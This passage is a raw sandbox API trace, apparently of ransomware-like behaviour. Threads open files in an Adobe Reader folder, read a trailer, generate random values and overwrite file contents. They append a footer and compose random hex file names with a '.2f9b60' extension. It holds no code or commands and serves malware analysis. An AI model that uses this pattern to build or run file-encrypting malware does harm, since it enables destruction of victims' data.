returned 1 [0162.161] WriteFile (in: hFile=0x144c, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2701f9b0, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x2701f9b0*=0x108, lpOverlapped=0x0) returned 1 [0164.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059970 [0164.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0164.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9500 [0164.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9500) returned 1 [0164.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d140 [0164.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9500 [0164.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd94d0 [0164.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd94d0) returned 1 [0164.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0164.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0164.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d7f40 [0164.167] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="1d") returned 2 [0164.167] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="72") returned 2 [0164.167] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="ee") returned 2 [0164.167] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="1f") returned 2 [0164.167] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="3a") returned 2 [0164.167] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="d4") returned 2 [0164.167] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="76") returned 2 [0164.167] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="d2") returned 2 [0164.167] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="c4") returned 2 [0164.167] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="8f") returned 2 [0164.167] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="55") returned 2 [0164.167] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="07") returned 2 [0164.167] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="2a") returned 2 [0164.167] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="f3") returned 2 [0164.167] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="e1") returned 2 [0164.167] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="ca") returned 2 [0164.168] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="1e") returned 2 [0164.168] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="cb") returned 2 [0164.168] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="14") returned 2 [0164.168] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="9f") returned 2 [0164.168] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="82") returned 2 [0164.168] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="ed") returned 2 [0164.168] RtlInitAnsiString (in: DestinationString=0x2701fa28, SourceString="1d72ee1f3ad476d2c48f55072af3e1ca1ecb149f82ed" | out: DestinationString="1d72ee1f3ad476d2c48f55072af3e1ca1ecb149f82ed") [0164.168] RtlAnsiStringToUnicodeString (in: DestinationString=0x2701f9f8, SourceString="1d72ee1f3ad476d2c48f55072af3e1ca1ecb149f82ed", AllocateDestinationString=1 | out: DestinationString="1d72ee1f3ad476d2c48f55072af3e1ca1ecb149f82ed") returned 0x0 [0164.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x203fac80 [0164.168] RtlFreeAnsiString (AnsiString="1") [0164.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0164.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d140) returned 1 [0164.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9500) returned 1 [0164.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1694d0) returned 1 [0164.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7c10) returned 1 [0164.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7c40) returned 1 [0164.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7be0) returned 1 [0164.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7bb0) returned 1 [0164.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053ac0) returned 1 [0164.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053b80) returned 1 [0164.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053bb0) returned 1 [0164.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230eaa0 [0164.171] wcscat (in: _Dest=0x4230eaa0, _Source="1d72ee1f3ad" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\1d72ee1f3ad") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\1d72ee1f3ad" [0164.171] wcscat (in: _Dest=0x4230eaa0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\1d72ee1f3ad.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\1d72ee1f3ad.2f9b60" [0164.171] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\1d72ee1f3ad.2f9b60", NtPathName=0x2701f9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\1d72ee1f3ad.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2b590 Thread: id = 2422 os_tid = 0x1e4c [0153.401] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.hrv")) returned 0x20 [0153.401] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.HRV", dwFileAttributes=0x20) returned 1 [0153.402] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.hrv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1448 [0153.402] GetFileSizeEx (in: hFile=0x1448, lpFileSize=0x271cf820 | out: lpFileSize=0x271cf820*=7680) returned 1 [0153.402] SetFilePointerEx (in: hFile=0x1448, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.402] ReadFile (in: hFile=0x1448, lpBuffer=0x271cf7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x271cf7e8, lpOverlapped=0x0 | out: lpBuffer=0x271cf7a0*, lpNumberOfBytesRead=0x271cf7e8*=0x4, lpOverlapped=0x0) returned 1 [0153.653] SetFilePointerEx (in: hFile=0x1448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053b50 [0153.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053be0 [0153.654] NtQuerySystemTime (in: CurrentTime=0x271cf6e0 | out: CurrentTime=0x271cf6e0*=132462177587842000) returned 0x0 [0153.654] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x48079fab [0153.654] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x754c9d11 [0153.654] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x2a54b23c [0153.654] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x61a0dafc [0153.654] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x620887d0 [0153.654] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x4b7859e6 [0153.654] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x7a119a29 [0153.654] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x1c13f52a [0153.654] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x53e59cc0 [0153.654] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x5a27d12 [0153.654] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x47c22343 [0153.654] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x1b667316 [0153.654] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x48cd83e1 [0153.654] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0xc8112f4 [0153.654] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x252229e6 [0153.654] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x22b099fe [0153.654] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x4e485c1b [0153.654] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x15d9f5ec [0153.654] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x38cb8f6f [0153.654] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x13319857 [0153.654] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x76dd0f84 [0153.654] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x1b667316 [0153.654] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x55fc4e21 [0153.654] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x1046c8cc [0153.654] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x5b863ee7 [0153.655] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x132f0774 [0153.655] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x7a8ddbde [0153.655] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x2387ef32 [0153.655] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x3ace8f5f [0153.655] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x7a8ddbde [0153.655] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x587536ea [0153.655] RtlRandomEx (in: Seed=0x271cf6d0 | out: Seed=0x271cf6d0) returned 0x4591c7f2 [0153.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053c10 [0153.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061530 [0153.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053c40 [0153.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061530) returned 1 [0153.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053be0) returned 1 [0153.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ec0 [0153.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061530 [0153.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4270ea60 [0153.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42712670 [0153.664] ReadFile (in: hFile=0x1448, lpBuffer=0x4270ea60, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x271cf6d0, lpOverlapped=0x0 | out: lpBuffer=0x4270ea60*, lpNumberOfBytesRead=0x271cf6d0*=0x1e00, lpOverlapped=0x0) returned 1 [0154.265] SetFilePointerEx (in: hFile=0x1448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.265] WriteFile (in: hFile=0x1448, lpBuffer=0x42712670*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x271cf6d4, lpOverlapped=0x0 | out: lpBuffer=0x42712670*, lpNumberOfBytesWritten=0x271cf6d4*=0x1e00, lpOverlapped=0x0) returned 1 [0162.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7a30 [0162.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7a60 [0162.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7a60) returned 1 [0162.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42712670) returned 1 [0162.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4270ea60) returned 1 [0162.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061530) returned 1 [0162.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ec0) returned 1 [0162.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a7a60 [0162.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ec0 [0162.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061530 [0162.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7a90 [0162.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7a90) returned 1 [0162.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a7a90 [0162.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7ac0 [0162.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7af0 [0162.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7af0) returned 1 [0162.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061530) returned 1 [0162.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ec0) returned 1 [0162.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x423a9d60 [0162.147] SetFilePointerEx (in: hFile=0x1448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.147] WriteFile (in: hFile=0x1448, lpBuffer=0x423a9d60*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x271cf7f0, lpOverlapped=0x0 | out: lpBuffer=0x423a9d60*, lpNumberOfBytesWritten=0x271cf7f0*=0x108, lpOverlapped=0x0) returned 1 [0164.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059970 [0164.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0164.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd94a0 [0164.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd94a0) returned 1 [0164.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d140 [0164.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd94a0 [0164.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9620 [0164.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9620) returned 1 [0164.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0164.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0164.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d7f40 [0164.147] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="75") returned 2 [0164.148] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="ab") returned 2 [0164.148] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="e5") returned 2 [0164.148] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="67") returned 2 [0164.148] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="4d") returned 2 [0164.148] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="95") returned 2 [0164.148] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="7b") returned 2 [0164.148] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="93") returned 2 [0164.148] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="7c") returned 2 [0164.148] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="65") returned 2 [0164.148] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="36") returned 2 [0164.148] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="8d") returned 2 [0164.148] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="3d") returned 2 [0164.148] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="40") returned 2 [0164.148] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="68") returned 2 [0164.148] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="ff") returned 2 [0164.148] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="15") returned 2 [0164.148] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="78") returned 2 [0164.148] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="a4") returned 2 [0164.148] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="a6") returned 2 [0164.148] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="51") returned 2 [0164.148] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="9e") returned 2 [0164.149] RtlInitAnsiString (in: DestinationString=0x271cf868, SourceString="75abe5674d957b937c65368d3d4068ff1578a4a6519e" | out: DestinationString="75abe5674d957b937c65368d3d4068ff1578a4a6519e") [0164.149] RtlAnsiStringToUnicodeString (in: DestinationString=0x271cf838, SourceString="75abe5674d957b937c65368d3d4068ff1578a4a6519e", AllocateDestinationString=1 | out: DestinationString="75abe5674d957b937c65368d3d4068ff1578a4a6519e") returned 0x0 [0164.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x203faba0 [0164.149] RtlFreeAnsiString (AnsiString="7") [0164.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0164.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d140) returned 1 [0164.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd94a0) returned 1 [0164.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a9d60) returned 1 [0164.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7a90) returned 1 [0164.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7ac0) returned 1 [0164.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7a60) returned 1 [0164.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7a30) returned 1 [0164.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053b50) returned 1 [0164.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053c10) returned 1 [0164.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053c40) returned 1 [0164.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230e960 [0164.152] wcscat (in: _Dest=0x4230e960, _Source="75abe5674d9" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\75abe5674d9") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\75abe5674d9" [0164.152] wcscat (in: _Dest=0x4230e960, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\75abe5674d9.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\75abe5674d9.2f9b60" [0164.152] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\75abe5674d9.2f9b60", NtPathName=0x271cf810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\75abe5674d9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2b410 Thread: id = 2423 os_tid = 0x1e50 [0153.406] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.hun")) returned 0x20 [0153.407] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.HUN", dwFileAttributes=0x20) returned 1 [0153.407] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.hun"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1444 [0153.407] GetFileSizeEx (in: hFile=0x1444, lpFileSize=0x26d4fbc0 | out: lpFileSize=0x26d4fbc0*=7680) returned 1 [0153.407] SetFilePointerEx (in: hFile=0x1444, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.407] ReadFile (in: hFile=0x1444, lpBuffer=0x26d4fb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26d4fb88, lpOverlapped=0x0 | out: lpBuffer=0x26d4fb40*, lpNumberOfBytesRead=0x26d4fb88*=0x4, lpOverlapped=0x0) returned 1 [0153.665] SetFilePointerEx (in: hFile=0x1444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053be0 [0153.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053c70 [0153.665] NtQuerySystemTime (in: CurrentTime=0x26d4fa80 | out: CurrentTime=0x26d4fa80*=132462177587998000) returned 0x0 [0153.665] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0x19962655 [0153.665] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0x74ebde72 [0153.665] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0x48a2ab21 [0153.665] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0x48cd83e1 [0153.665] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0xd36dc61 [0153.665] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0xd05d6d6 [0153.665] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0x4877d261 [0153.665] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0x5cff59cc [0153.665] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0x333e16e [0153.665] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0x6f635610 [0153.665] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0xe1174c4 [0153.665] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0x9428042 [0153.665] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0x5cdcb38 [0153.665] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0x3e2936a9 [0153.665] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0x6ac328d0 [0153.665] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0x2c87e489 [0153.665] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0x2e9a67d0 [0153.665] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0x104383ae [0153.665] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0x173f8327 [0153.666] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0x2c29327d [0153.666] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0x1b7ce5b9 [0153.666] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0x645eff [0153.666] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0x396eeee1 [0153.666] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0x56bf1c10 [0153.666] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0x6782e9cb [0153.666] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0x241aed78 [0153.666] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0x3c901177 [0153.666] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0xf952be3 [0153.666] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0x4abdd413 [0153.666] RtlRandomEx (in: 